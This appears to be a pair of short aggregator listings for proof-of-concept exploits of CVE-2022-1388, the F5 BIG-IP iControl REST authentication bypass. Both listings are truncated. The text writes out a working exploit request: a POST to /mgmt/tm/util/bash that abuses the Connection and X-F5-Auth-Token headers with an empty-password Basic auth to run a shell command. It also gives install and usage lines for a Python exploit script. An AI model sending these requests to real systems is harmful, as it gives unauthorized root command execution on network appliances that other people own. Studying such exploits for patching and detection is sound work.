CVE-2022-1388_PoC

Sfruttamento RCE su F5 BIG-IP CVE-2022-1388 POST 1: root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " Comando curl: root@kitploit: $ curl -i -s -k -X...

CVE-2022-1388

CVE-2022-1388 Verificação e exploit para CVE-2022-1388 Instalação: root@kitploit: python3 -m pip install -r requirements.txt Uso Simples : root@kitploit: python3 cve.py s fullurl apicommand example python3 cve.py s http://127.0.0.1:8000/mgmt/tm/util/bash '"command":"run","utilCmdArgs":"-c id"'...